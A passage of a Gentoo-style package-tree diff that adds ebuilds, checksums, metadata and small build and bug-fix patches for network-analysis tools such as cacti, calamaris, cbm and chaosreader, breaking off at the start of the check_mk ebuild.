--- /dev/null
+++ b/net-analyzer/cacti/Manifest
@@ -0,0 +1,2 @@
+DIST cacti-0.8.8e.tar.gz 2594446 SHA256 43b091957faf03a4b0baacc8c327320394c0843476ea34e3beb1416506ad3f55 SHA512 11eeace353b7bacb2e4f065b1557b6978f0315d372f03f25bbdd210aaa494b70661b24502885bb610d8cf042cdcd68c69ea1a6fd1cb7073af29553116500df0c WHIRLPOOL ea5f29a71504f4e1fb4d8981db84b46fb87842921d8f6f422b8a0c2b127e80b785fca60b3b037036396cf9de456240a573cd446118f03a93f25a2406fe22be40
+DIST cacti-0.8.8f.tar.gz 2594409 SHA256 2ea92407c11bf13302558a5bc9e1f3a57bd14a1d9ded48c505ec495762f76738 SHA512 b712a9f8b7bee632cb4982fed72793ac2f4d70aa042784bbd2fd3923a27901f457393aa95bbd63960187e85fe462c35e88fa3cd93e8537a3a68f94bdbf5d7f2b WHIRLPOOL 58c883780fed833df2501b204a21fc8605e76a7b5ac26ebd13f0bf22f45dda6363be35ada8af2a65f4e7db506d103b6739d73699676c1622e7051eb8a89ad555
diff --git a/net-analyzer/cacti/cacti-0.8.8e.ebuild b/net-analyzer/cacti/cacti-0.8.8e.ebuild
new file mode 100644
index 000000000000..a2bfbc6bd5a4
--- /dev/null
+++ b/net-analyzer/cacti/cacti-0.8.8e.ebuild
@@ -0,0 +1,60 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.php eutils webapp
+
+# Support for _p* in version.
+MY_P=${P/_p*/}
+
+DESCRIPTION="Cacti is a complete frontend to rrdtool"
+HOMEPAGE="http://www.cacti.net/"
+SRC_URI="http://www.cacti.net/downloads/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+KEYWORDS="alpha amd64 ~arm hppa ~ppc ~ppc64 sparc x86"
+IUSE="snmp doc"
+
+need_httpd
+
+RDEPEND="
+ dev-lang/php[cli,mysql,session,sockets,xml]
+ dev-php/adodb
+ net-analyzer/rrdtool[graph]
+ virtual/cron
+ virtual/mysql
+ snmp? ( >=net-analyzer/net-snmp-5.2.0 )
+"
+
+src_prepare() {
+ sed -i -e \
+ 's:$config\["library_path"\] . "/adodb/adodb.inc.php":"adodb/adodb.inc.php":' \
+ "${S}"/include/global.php || die
+
+ rm -rf lib/adodb || die # don't use bundled adodb
+}
+
+src_compile() { :; }
+
+src_install() {
+ webapp_src_preinst
+
+ rm LICENSE README || die
+ dodoc docs/{CHANGELOG,CONTRIB,README,txt/manual.txt}
+ use doc && dohtml -r docs/html/
+ rm -rf docs
+
+ edos2unix `find -type f -name '*.php'`
+
+ dodir ${MY_HTDOCSDIR}
+ cp -r . "${D}"${MY_HTDOCSDIR}
+
+ webapp_serverowned ${MY_HTDOCSDIR}/rra
+ webapp_serverowned ${MY_HTDOCSDIR}/log/cacti.log
+ webapp_configfile ${MY_HTDOCSDIR}/include/config.php
+ webapp_postinst_txt en "${FILESDIR}"/postinstall-en.txt
+
+ webapp_src_install
+}
diff --git a/net-analyzer/cacti/cacti-0.8.8f.ebuild b/net-analyzer/cacti/cacti-0.8.8f.ebuild
new file mode 100644
index 000000000000..79420be5fa67
--- /dev/null
+++ b/net-analyzer/cacti/cacti-0.8.8f.ebuild
@@ -0,0 +1,60 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.php eutils webapp
+
+# Support for _p* in version.
+MY_P=${P/_p*/}
+
+DESCRIPTION="Cacti is a complete frontend to rrdtool"
+HOMEPAGE="http://www.cacti.net/"
+SRC_URI="http://www.cacti.net/downloads/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ppc ~ppc64 ~sparc ~x86"
+IUSE="snmp doc"
+
+need_httpd
+
+RDEPEND="
+ dev-lang/php[cli,mysql,session,sockets,xml]
+ dev-php/adodb
+ net-analyzer/rrdtool[graph]
+ virtual/cron
+ virtual/mysql
+ snmp? ( >=net-analyzer/net-snmp-5.2.0 )
+"
+
+src_prepare() {
+ sed -i -e \
+ 's:$config\["library_path"\] . "/adodb/adodb.inc.php":"adodb/adodb.inc.php":' \
+ "${S}"/include/global.php || die
+
+ rm -rf lib/adodb || die # don't use bundled adodb
+}
+
+src_compile() { :; }
+
+src_install() {
+ webapp_src_preinst
+
+ rm LICENSE README || die
+ dodoc docs/{CHANGELOG,CONTRIB,README,txt/manual.txt}
+ use doc && dohtml -r docs/html/
+ rm -rf docs
+
+ edos2unix `find -type f -name '*.php'`
+
+ dodir ${MY_HTDOCSDIR}
+ cp -r . "${D}"${MY_HTDOCSDIR}
+
+ webapp_serverowned ${MY_HTDOCSDIR}/rra
+ webapp_serverowned ${MY_HTDOCSDIR}/log/cacti.log
+ webapp_configfile ${MY_HTDOCSDIR}/include/config.php
+ webapp_postinst_txt en "${FILESDIR}"/postinstall-en.txt
+
+ webapp_src_install
+}
diff --git a/net-analyzer/cacti/files/postinstall-en.txt b/net-analyzer/cacti/files/postinstall-en.txt
new file mode 100644
index 000000000000..732c718005cb
--- /dev/null
+++ b/net-analyzer/cacti/files/postinstall-en.txt
@@ -0,0 +1,62 @@
+
+New Install
+
+1. Create the new cacti database
+ shell> mysqladmin -p --user=root create cacti
+2. Import the default cacti database:
+ shell> mysql -p --user=root cacti < ${MY_INSTALLDIR}/cacti.sql
+3. Create a MySQL username and password for cacti.
+ shell> mysql -p --user=root mysql
+ mysql> GRANT ALL ON cacti.* TO cactiuser@localhost IDENTIFIED BY 'somepassword';
+ mysql> flush privileges;
+4. Edit ${MY_INSTALLDIR}/include/config.php and modify the MySQL user,
+ password and database for your cacti configuration.
+
+ Example:
+ \$database_default = "cacti";
+ \$database_hostname = "localhost";
+ \$database_username = "cactiuser";
+ \$database_password = "somepassword";
+
+5. Point your web browser to: http://${VHOST_HOSTNAME}/${VHOST_APPDIR}/
+ Make sure to fill in all of the path variables carefully and
+ correctly on the following screen.
+6. After you've gone through the setup wizard, go back to the main cacti page
+ and login as:
+ Username: admin
+ Password: admin
+
+Upgrading
+
+1. Backup DB in the case that something goes wrong.
+ shell> mysqldump -l --add-drop-table cacti > mysql.cacti
+2. Backup your rra/ directory and any custom scripts in your scripts/
+ directory.
+3. Edit ${MY_INSTALLDIR}/include/config.php, and confirm that the MySQL user,
+ password and database is correct for your cacti configuration.
+
+ Example:
+ \$database_default = "cacti";
+ \$database_hostname = "localhost";
+ \$database_username = "cactiuser";
+ \$database_password = "somepassword";
+4. Point your web browser to: http://${VHOST_HOSTNAME}/${VHOST_APPDIR}/
+ Select "Upgrade".
+ Make sure to fill in all of the path variables carefully and
+ correctly on the following screen.
+
+Cronjob
+
+Either new or upgrading, make sure you have a cron job - Add this line to
+your /etc/crontab file:
+
+ */5 * * * * ${VHOST_SERVER_GID} /usr/bin/php ${MY_INSTALLDIR}/poller.php > /dev/null 2>&1
+
+Note that you should use poller.php as the cronjob instead of cmd.php (as it was with
+earlier versions) to enable you to switch between cmd.php and cactid.
+
+Also make sure that the user poller.php runs as ( ${VHOST_SERVER_GID} ) has
+permission to create new files in Cacti's 'rra/' directory which is
+${MY_INSTALLDIR}/rra
+
+
diff --git a/net-analyzer/cacti/metadata.xml b/net-analyzer/cacti/metadata.xml
new file mode 100644
index 000000000000..dc5780747aad
--- /dev/null
+++ b/net-analyzer/cacti/metadata.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription lang="en">
+ Cacti is a complete network graphing solution designed to harness the
+ power of RRDTool's data storage and graphing functionality. Cacti
+ provides a fast poller, advanced graph templating, multiple data
+ acquisition methods, and user management features out of the box. All of
+ this is wrapped in an intuitive, easy to use interface that makes sense
+ for LAN-sized installations up to complex networks with hundreds of
+ devices.
+ </longdescription>
+ <use>
+ <flag name='doc'>install html documentation</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/calamaris/Manifest b/net-analyzer/calamaris/Manifest
new file mode 100644
index 000000000000..9f600e71bd8f
--- /dev/null
+++ b/net-analyzer/calamaris/Manifest
@@ -0,0 +1,2 @@
+DIST calamaris-2.59.tar.gz 56168 SHA256 60103bf6bfe0142bf2a0dfa7f7647ae7ed739b8b3082f11b8e55e21c2546d7ae SHA512 8c8ed820a1af6e21cfe9f03397c159b2261c8253b3395a8d6dbd21064151439406496132917d0ef087eed805c7945cf28f2d12dc1e52340991c18e6a27484ade WHIRLPOOL ff8bf09664d52a65629747431ed89955882c2ec7ee33e75cfeedcfc39cb776670b3ed874e063e4727157b17e212e5fbf08c311caa29967e7f0b3cdcea9118b63
+DIST calamaris-2.99.4.0.tar.gz 105860 SHA256 a28333ed770996397cc752e813586ac9177aab5c9dfee0104133d9c2c7dea42c SHA512 4127a3963fd0ea5baa1d5ce9a784f45658bb685f18e576c134fee1b4e8fdad535676974498119018e771924a8a622ed83b8aa095d3909b7bb3d009dd6024dbef WHIRLPOOL c5b9d9294937496d99abe7e1dd3eca7636f008847d55e5ab74c0d9a644a842ef88c9c11102fbb31a3c42d34d0fdcdff14f1740f9a3f0bed5f0479e655d6a601c
diff --git a/net-analyzer/calamaris/calamaris-2.59.ebuild b/net-analyzer/calamaris/calamaris-2.59.ebuild
new file mode 100644
index 000000000000..f22d3d876e0f
--- /dev/null
+++ b/net-analyzer/calamaris/calamaris-2.59.ebuild
@@ -0,0 +1,21 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Calamaris parses the logfiles of a wide variety of Web proxy servers and generates reports"
+HOMEPAGE="http://cord.de/calamaris-home-page"
+SRC_URI="http://cord.de/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+
+DEPEND="dev-lang/perl"
+
+src_install () {
+ dobin calamaris
+ doman calamaris.1
+ dodoc CHANGES EXAMPLES README
+}
diff --git a/net-analyzer/calamaris/calamaris-2.99.4.0.ebuild b/net-analyzer/calamaris/calamaris-2.99.4.0.ebuild
new file mode 100644
index 000000000000..dd0778225298
--- /dev/null
+++ b/net-analyzer/calamaris/calamaris-2.99.4.0.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Calamaris parses the logfiles of a wide variety of Web proxy servers and generates reports"
+HOMEPAGE="http://cord.de/calamaris-home-page"
+SRC_URI="http://cord.de/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+
+RDEPEND="
+ dev-lang/perl
+ dev-perl/GDGraph
+"
+
+src_prepare() {
+ sed -i \
+ -e "s:\(use lib\).*$:\1 '/usr/share/';:" \
+ calamaris || die
+}
+
+src_install() {
+ dobin calamaris calamaris-cache-convert
+
+ insinto /usr/share/${PN}
+ doins *.pm
+
+ doman calamaris.1
+
+ dodoc BUGS CHANGES EXAMPLES EXAMPLES.v3 README TODO calamaris.conf
+}
diff --git a/net-analyzer/calamaris/metadata.xml b/net-analyzer/calamaris/metadata.xml
new file mode 100644
index 000000000000..e0a1efa4d101
--- /dev/null
+++ b/net-analyzer/calamaris/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>Calamaris parses the logfiles of a wide variety of Web proxy servers and generates reports</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/carl/Manifest b/net-analyzer/carl/Manifest
new file mode 100644
index 000000000000..d08d441f5d07
--- /dev/null
+++ b/net-analyzer/carl/Manifest
@@ -0,0 +1 @@
+DIST carl-0.9.tar.gz 11096 SHA256 52f55f47ec216b97b4a819853f831a19875d145ef48f03245b9f52e463e09550 SHA512 9876e30d171bf00c4e53c6e90c98181ac25aeda004bdb8a03060c45a99c55fa087062076ff3964a222d2981ed682ae7b8f4cbade13c69154198200d35e1a577e WHIRLPOOL 3d9b1ca525be947fe12f8d98160e705e1eb6fb7e168e55687271a9a63724c5083cdbe9dc22c6567f90cb690e5c0818757fc549b84591da50971dae6b7d3b910a
diff --git a/net-analyzer/carl/carl-0.9-r1.ebuild b/net-analyzer/carl/carl-0.9-r1.ebuild
new file mode 100644
index 000000000000..9d400d4ec609
--- /dev/null
+++ b/net-analyzer/carl/carl-0.9-r1.ebuild
@@ -0,0 +1,19 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python{2_7,3_3,3_4} pypy pypy3)
+
+inherit distutils-r1
+
+DESCRIPTION="An rsync logfile analyzer"
+HOMEPAGE="http://www.schwarzvogel.de/software-misc.shtml"
+SRC_URI="http://www.schwarzvogel.de/pkgs/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 x86"
+IUSE=""
+
+DOCS="README"
diff --git a/net-analyzer/carl/metadata.xml b/net-analyzer/carl/metadata.xml
new file mode 100644
index 000000000000..adf1f1463dfe
--- /dev/null
+++ b/net-analyzer/carl/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<maintainer>
+ <email>klausman@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/cbm/Manifest b/net-analyzer/cbm/Manifest
new file mode 100644
index 000000000000..2938934488d0
--- /dev/null
+++ b/net-analyzer/cbm/Manifest
@@ -0,0 +1 @@
+DIST cbm-0.1.tar.gz 310247 SHA256 fa44b4b53218ddcfc0f3e7539a1a232485bdb0a574c4a07a084a262d938f3c7b SHA512 24bf6a4d68fed253977b965d7e5b6aff4fb9db502c47b4a2b3b36f8c2963c9648b78ae607e9753fe4792a73ddbc29b86b3a1acc3c431a9355b11ff348566add4 WHIRLPOOL 22779c8332d2729ebf138a504fd81fa1bebe1295aa7c0ff9806bb545f868e9622038a447a59610e04c62cbf99e473cbf0bb365517ae6c8c018881c8733294aed
diff --git a/net-analyzer/cbm/cbm-0.1-r1.ebuild b/net-analyzer/cbm/cbm-0.1-r1.ebuild
new file mode 100644
index 000000000000..3ddd3e8d920e
--- /dev/null
+++ b/net-analyzer/cbm/cbm-0.1-r1.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools eutils
+
+DESCRIPTION="Display the current traffic on all network devices"
+HOMEPAGE="http://www.isotton.com/software/unix/cbm/"
+SRC_URI="http://www.isotton.com/software/unix/${PN}/download/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+RDEPEND="
+ sys-libs/ncurses
+"
+DEPEND="
+ ${RDEPEND}
+ app-text/xmlto
+ app-text/docbook-xml-dtd:4.4
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-gcc-4.3.patch \
+ "${FILESDIR}"/${P}-gcc-4.7.patch \
+ "${FILESDIR}"/${P}-tinfo.patch \
+ "${FILESDIR}"/${P}-headers-status-line.patch
+ eautoreconf
+}
diff --git a/net-analyzer/cbm/files/cbm-0.1-gcc-4.3.patch b/net-analyzer/cbm/files/cbm-0.1-gcc-4.3.patch
new file mode 100644
index 000000000000..ae9b58f6e99b
--- /dev/null
+++ b/net-analyzer/cbm/files/cbm-0.1-gcc-4.3.patch
@@ -0,0 +1,10 @@
+--- a/src/statistics.hpp
++++ b/src/statistics.hpp
+@@ -3,6 +3,7 @@
+
+ #include <list>
+ #include <string>
++#include <sys/time.h>
+
+ namespace statistics {
+
diff --git a/net-analyzer/cbm/files/cbm-0.1-gcc-4.7.patch b/net-analyzer/cbm/files/cbm-0.1-gcc-4.7.patch
new file mode 100644
index 000000000000..94b50a6877f7
--- /dev/null
+++ b/net-analyzer/cbm/files/cbm-0.1-gcc-4.7.patch
@@ -0,0 +1,10 @@
+--- a/src/cbm.cpp
++++ b/src/cbm.cpp
+@@ -18,6 +18,7 @@
+ #include <sys/socket.h>
+ #include <arpa/inet.h>
+ #include <net/if.h>
++#include <unistd.h>
+
+ // Externs
+ extern int optind, opterr, optopt;
diff --git a/net-analyzer/cbm/files/cbm-0.1-headers-status-line.patch b/net-analyzer/cbm/files/cbm-0.1-headers-status-line.patch
new file mode 100644
index 000000000000..4b09bbb69793
--- /dev/null
+++ b/net-analyzer/cbm/files/cbm-0.1-headers-status-line.patch
@@ -0,0 +1,55 @@
+From bdc4f02a6d7fb1416f36aef89af4592c691576d8 Mon Sep 17 00:00:00 2001
+From: Jari Aalto <jari.aalto@cante.net>
+Date: Mon, 19 Sep 2011 14:27:04 +0300
+Subject: [PATCH] [fix] Headers and status line don't display by Paul Martin
+ <pm@debian.org>
+Organization: Private
+Content-Type: text/plain; charset="utf-8"
+Content-Transfer-Encoding: 8bit
+
+Signed-off-by: Jari Aalto <jari.aalto@cante.net>
+---
+ src/cbm.cpp | 9 ++++++++-
+ src/widgets/Window.cpp | 2 +-
+ 2 files changed, 9 insertions(+), 2 deletions(-)
+
+index 74282e2..0197443 100644
+--- a/src/cbm.cpp
++++ b/src/cbm.cpp
+@@ -156,13 +156,20 @@ int main(int argc, char **argv) {
+ interfaceTable.setColumns(4);
+ interfaceTable.setActiveStyle(A_BOLD);
+ interfaceTable.setActiveRow(1);
++ // Position the interface table
++ interfaceTable.setPosition(2, 2);
++ interfaceTable.setSize(screen.getWidth() - 4,
++ 8); // TODO
+
+ // Create the detail table
+ VerticalTable detailTable(screen);
+ detailTable.setColumns(2);
+ detailTable.setRows(2);
+ detailTable.setActiveRow(-1);
+-
++ // Position the detail table
++ detailTable.setPosition(2, 12); // TODO
++ detailTable.setSize(screen.getWidth() - 4, 10); // TODO
++
+ // Populate the detail table
+ detailTable.setText (0, 0, "Interface");
+ detailTable.setStyle(0, 0, COLOR_PAIR(COLOR_HEADING) | A_BOLD);
+index 322cb9b..572eef7 100644
+--- a/src/widgets/Window.cpp
++++ b/src/widgets/Window.cpp
+@@ -14,7 +14,7 @@ Window::~Window() {
+ }
+
+ void Window::setPosition(unsigned x, unsigned y) {
+- mvwin((WINDOW*) win_, y, x);
++ mvderwin((WINDOW*) win_, y, x);
+ }
+
+ void Window::setSize(unsigned width, unsigned height) {
+--
+1.7.5.4
+
diff --git a/net-analyzer/cbm/files/cbm-0.1-tinfo.patch b/net-analyzer/cbm/files/cbm-0.1-tinfo.patch
new file mode 100644
index 000000000000..955d762214c4
--- /dev/null
+++ b/net-analyzer/cbm/files/cbm-0.1-tinfo.patch
@@ -0,0 +1,19 @@
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -3,4 +3,4 @@
+ cbm_SOURCES = cbm.cpp \
+ ErrnoError.hpp \
+ statistics.cpp statistics.hpp
+-cbm_LDADD = -lncurses widgets/libwidgets.la
++cbm_LDADD = $(ncurses_LIBS) widgets/libwidgets.la
+--- a/configure.ac
++++ b/configure.ac
+@@ -18,6 +18,8 @@
+
+ # Checks for libraries.
+
++PKG_CHECK_MODULES(ncurses,ncurses)
++
+ # Checks for header files.
+
+ # Checks for typedefs, structures, and compiler characteristics.
diff --git a/net-analyzer/cbm/metadata.xml b/net-analyzer/cbm/metadata.xml
new file mode 100644
index 000000000000..7b47a3a9c4a9
--- /dev/null
+++ b/net-analyzer/cbm/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <maintainer>
+ <email>pinkbyte@gentoo.org</email>
+ <name>Sergey Popov</name>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/chaosreader/Manifest b/net-analyzer/chaosreader/Manifest
new file mode 100644
index 000000000000..2f1c63f3dfb4
--- /dev/null
+++ b/net-analyzer/chaosreader/Manifest
@@ -0,0 +1 @@
+DIST chaosreader-0.94.bz2 41039 SHA256 523f2107502dda9a1a9c73d8bc14605046f7352ada442bfcafec39a81b41f35b
diff --git a/net-analyzer/chaosreader/chaosreader-0.94-r1.ebuild b/net-analyzer/chaosreader/chaosreader-0.94-r1.ebuild
new file mode 100644
index 000000000000..121fb9bc05cc
--- /dev/null
+++ b/net-analyzer/chaosreader/chaosreader-0.94-r1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils
+
+DESCRIPTION="A tool to trace TCP/UDP/... sessions and fetch application data from snoop or tcpdump logs"
+HOMEPAGE="http://chaosreader.sourceforge.net"
+SRC_URI="http://dev.gentoo.org/~spock/portage/distfiles/${P}.bz2"
+SLOT="0"
+
+KEYWORDS="~amd64 ~ppc ~x86 ~amd64-linux ~x86-linux ~x86-macos"
+LICENSE="GPL-2"
+
+IUSE=""
+
+DEPEND=">=dev-lang/perl-5.8.0"
+S=${WORKDIR}
+
+src_prepare() {
+ epatch "${FILESDIR}"/chaosreader-0.94-zombies.patch
+ epatch "${FILESDIR}"/chaosreader-0.94-chunkcheck.patch
+ epatch "${FILESDIR}"/chaosreader-0.94-darwin.patch
+ epatch "${FILESDIR}"/chaosreader-0.94-divisionbyzero.patch
+ epatch "${FILESDIR}"/chaosreader-0.94-oldmultiline.patch
+}
+
+src_install() {
+ newbin ${P} chaosreader
+}
diff --git a/net-analyzer/chaosreader/chaosreader-0.94.ebuild b/net-analyzer/chaosreader/chaosreader-0.94.ebuild
new file mode 100644
index 000000000000..922050b801e5
--- /dev/null
+++ b/net-analyzer/chaosreader/chaosreader-0.94.ebuild
@@ -0,0 +1,25 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="2"
+
+inherit eutils
+
+DESCRIPTION="A tool to trace TCP/UDP/... sessions and fetch application data from snoop or tcpdump logs"
+HOMEPAGE="http://users.tpg.com.au/bdgcvb/chaosreader.html"
+SRC_URI="http://dev.gentoo.org/~spock/portage/distfiles/${P}.bz2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86 ~amd64-linux ~x86-linux ~x86-macos"
+LICENSE="GPL-2"
+IUSE=""
+DEPEND=">=dev-lang/perl-5.8.0"
+S=${WORKDIR}
+
+src_prepare() {
+ epatch "${FILESDIR}"/chaosreader-0.94-zombies.patch
+}
+
+src_install() {
+ newbin ${P} chaosreader || die
+}
diff --git a/net-analyzer/chaosreader/files/chaosreader-0.94-chunkcheck.patch b/net-analyzer/chaosreader/files/chaosreader-0.94-chunkcheck.patch
new file mode 100644
index 000000000000..547af04db5b7
--- /dev/null
+++ b/net-analyzer/chaosreader/files/chaosreader-0.94-chunkcheck.patch
@@ -0,0 +1,27 @@
+--- chaosreader 2011-11-10 19:17:50.000000000 +0100
++++ chaosreader-0.94 2012-03-09 18:15:21.096105305 +0100
+@@ -5350,6 +5353,24 @@
+ next if length($http_data) < 8;
+ $partnum++;
+ $parttext = sprintf("%02d",$partnum);
++
++ ## from http://sourceforge.net/tracker/?func=detail&aid=2019799&group_id=107384&atid=647491
++ ### Chunk Check
++ if ( $http_header =~ /Transfer-Encoding: chunked/ ) {
++ my $new_http_data="";
++ my $chunksize=-1;
++ my $pos=0;
++ until ($chunksize==0) {
++ my $eolpos=index($http_data,"\r\n",$pos);
++ $chunksize=hex(substr($http_data,$pos,$eolpos - $pos));
++ $pos=($eolpos+2);
++ if ($chunksize > 0) {
++ $new_http_data.=substr($http_data,$pos,$chunksize);
++ }
++ $pos+=($chunksize+2);
++ }
++ $http_data=$new_http_data;
++ }
+
+ ### Part - Checks
+ $http_type = &File_Type($http_data);
diff --git a/net-analyzer/chaosreader/files/chaosreader-0.94-darwin.patch b/net-analyzer/chaosreader/files/chaosreader-0.94-darwin.patch
new file mode 100644
index 000000000000..2eaca80909ae
--- /dev/null
+++ b/net-analyzer/chaosreader/files/chaosreader-0.94-darwin.patch
@@ -0,0 +1,11 @@
+--- chaosreader 2011-11-10 19:17:50.000000000 +0100
++++ chaosreader-0.94 2012-03-09 18:15:21.096105305 +0100
+@@ -6233,6 +6254,8 @@
+ $command = "tcpdump -s9999 -w";
+ } elsif ($^O eq "solaris") {
+ $command = "snoop -o";
++ } elsif ($^O eq "darwin") {
++ $command = "tcpdump -i en1 -s9999 -w";
+ } else {
+ die "ERROR54: Can't find the sniffer command for \"$^O\".\n" .
+ "\t Please use log mode instead.\n";
diff --git a/net-analyzer/chaosreader/files/chaosreader-0.94-divisionbyzero.patch b/net-analyzer/chaosreader/files/chaosreader-0.94-divisionbyzero.patch
new file mode 100644
index 000000000000..7f3ec2804dd4
--- /dev/null
+++ b/net-analyzer/chaosreader/files/chaosreader-0.94-divisionbyzero.patch
@@ -0,0 +1,18 @@
+--- chaosreader 2011-11-10 19:17:50.000000000 +0100
++++ chaosreader-0.94 2012-03-09 18:15:21.096105305 +0100
+@@ -4028,7 +4024,14 @@
+ ### This causes the replay program to pause
+ print REPLAY "ms($timediff1);\n";
+ }
+- $speed = sprintf("%.2f",$bytes / (1024 * $duration));
++ # avoid division by zero
++ # from http://sourceforge.net/tracker/?func=detail&aid=2210488&group_id=107384&atid=647489
++ if ( $duration > 0 ) {
++ $speed = sprintf("%.2f",$bytes / (1024 * $duration));
++ }
++ else {
++ $speed = "unknown";
++ }
+ print REPLAY "print \"\n\n" .
+ "Summary: $duration2 seconds, $bytes bytes, $speed Kb/sec\\n\";";
+ close REPLAY;
diff --git a/net-analyzer/chaosreader/files/chaosreader-0.94-oldmultiline.patch b/net-analyzer/chaosreader/files/chaosreader-0.94-oldmultiline.patch
new file mode 100644
index 000000000000..1fada077058e
--- /dev/null
+++ b/net-analyzer/chaosreader/files/chaosreader-0.94-oldmultiline.patch
@@ -0,0 +1,15 @@
+--- chaosreader 2012-01-18 21:47:02.000000000 +0100
++++ chaosreader-0.94 2012-03-13 12:10:44.740136742 +0100
+@@ -259,12 +259,6 @@
+ $| = 1; # flush output
+
+ #
+-# The following is needed for old perl5 multiline matching. New perl5 uses
+-# a "/s" on the RE (which is used in this program as well).
+-#
+-$* = 1; # old perl5
+-
+-#
+ # These ports have been selected to be saved as coloured 2-way HTML files
+ #
+ @Save_As_HTML_TCP_Ports = (21,23,25,79,80,109,110,119,143,513,514,1080,
diff --git a/net-analyzer/chaosreader/files/chaosreader-0.94-zombies.patch b/net-analyzer/chaosreader/files/chaosreader-0.94-zombies.patch
new file mode 100644
index 000000000000..8f7dd04e50ed
--- /dev/null
+++ b/net-analyzer/chaosreader/files/chaosreader-0.94-zombies.patch
@@ -0,0 +1,11 @@
+--- chaosreader-orig 2006-12-24 15:12:23.000000000 +0100
++++ chaosreader-0.94 2006-12-24 15:11:56.000000000 +0100
+@@ -396,6 +395,8 @@ if ($Arg{normal}) {
+
+ elsif ($Arg{standalone}) {
+
++ $SIG{CHLD} = "IGNORE";
++
+ ############################################################
+ # --- STANDALONE - Create Packet Logs and Process them ---
+ #
diff --git a/net-analyzer/chaosreader/metadata.xml b/net-analyzer/chaosreader/metadata.xml
new file mode 100644
index 000000000000..49bbe83e76c3
--- /dev/null
+++ b/net-analyzer/chaosreader/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>proxy-maintainers</herd>
+<maintainer>
+ <email>rainbow@irh.it</email>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/check_mk/Manifest b/net-analyzer/check_mk/Manifest
new file mode 100644
index 000000000000..ba061f483c42
--- /dev/null
+++ b/net-analyzer/check_mk/Manifest
@@ -0,0 +1 @@
+DIST check_mk-1.2.4p5.tar.gz 6626768 SHA256 e71963542d9d79d98e69aadccb37d05552829acab14665207d6af10415179c21 SHA512 ca2c06288b91f44f017ebbc45bd6712ddcbebdc4e293598b793ae1ad19ad96814983a30bd66ee2f19940dc1d1439fba2ae2b171dcbe0e670ce1b7d0a8c18d890 WHIRLPOOL 7399706ac33246e46795c4c55737043782d8ca12b8e9d03bcd5b4f34f3335baf57d699b4f531e32e732bdb9cb3310a803e93cb5efd593f7986395b88af08939b
diff --git a/net-analyzer/check_mk/check_mk-1.2.4_p5.ebuild b/net-analyzer/check_mk/check_mk-1.2.4_p5.ebuild
new file mode 100644
index 000000000000..004203d256a0
--- /dev/null
+++ b/net-analyzer/check_mk/check_mk-1.2.4_p5.ebuild
@@ -0,0 +1,306 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+MY_P="${P/_p/p}"
+MY_PV="${MY_P/check_mk-/}"
+S="${WORKDIR}/${MY_P}"
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="General purpose Nagios/Icinga plugin for retrieving data"
+HOMEPAGE="http://mathias-kettner.de/check_mk.html"
+SRC_URI="http://mathias-kettner.de/download/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
